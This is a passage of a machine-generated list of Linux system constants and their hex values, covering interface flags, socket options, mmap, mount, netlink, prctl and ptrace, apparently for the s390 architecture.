-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x2000
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x4000
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x4000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x2401
-- PERF_EVENT_IOC_ENABLE = 0x2400
-- PERF_EVENT_IOC_ID = 0x80082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-- PERF_EVENT_IOC_PERIOD = 0x40082404
-- PERF_EVENT_IOC_REFRESH = 0x2402
-- PERF_EVENT_IOC_RESET = 0x2403
-- PERF_EVENT_IOC_SET_BPF = 0x40042408
-- PERF_EVENT_IOC_SET_FILTER = 0x40082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_DISABLE_TE = 0x5010
-- PTRACE_ENABLE_TE = 0x5009
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_LAST_BREAK = 0x5006
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKDATA_AREA = 0x5003
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKTEXT_AREA = 0x5002
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_PEEKUSR_AREA = 0x5000
-- PTRACE_PEEK_SYSTEM_CALL = 0x5007
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKEDATA_AREA = 0x5005
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKETEXT_AREA = 0x5004
-- PTRACE_POKEUSR = 0x6
-- PTRACE_POKEUSR_AREA = 0x5001
-- PTRACE_POKE_SYSTEM_CALL = 0x5008
-- PTRACE_PROT = 0x15
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SINGLEBLOCK = 0xc
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TE_ABORT_RAND = 0x5011
-- PTRACE_TRACEME = 0x0
-- PT_ACR0 = 0x90
-- PT_ACR1 = 0x94
-- PT_ACR10 = 0xb8
-- PT_ACR11 = 0xbc
-- PT_ACR12 = 0xc0
-- PT_ACR13 = 0xc4
-- PT_ACR14 = 0xc8
-- PT_ACR15 = 0xcc
-- PT_ACR2 = 0x98
-- PT_ACR3 = 0x9c
-- PT_ACR4 = 0xa0
-- PT_ACR5 = 0xa4
-- PT_ACR6 = 0xa8
-- PT_ACR7 = 0xac
-- PT_ACR8 = 0xb0
-- PT_ACR9 = 0xb4
-- PT_CR_10 = 0x168
-- PT_CR_11 = 0x170
-- PT_CR_9 = 0x160
-- PT_ENDREGS = 0x1af
-- PT_FPC = 0xd8
-- PT_FPR0 = 0xe0
-- PT_FPR1 = 0xe8
-- PT_FPR10 = 0x130
-- PT_FPR11 = 0x138
-- PT_FPR12 = 0x140
-- PT_FPR13 = 0x148
-- PT_FPR14 = 0x150
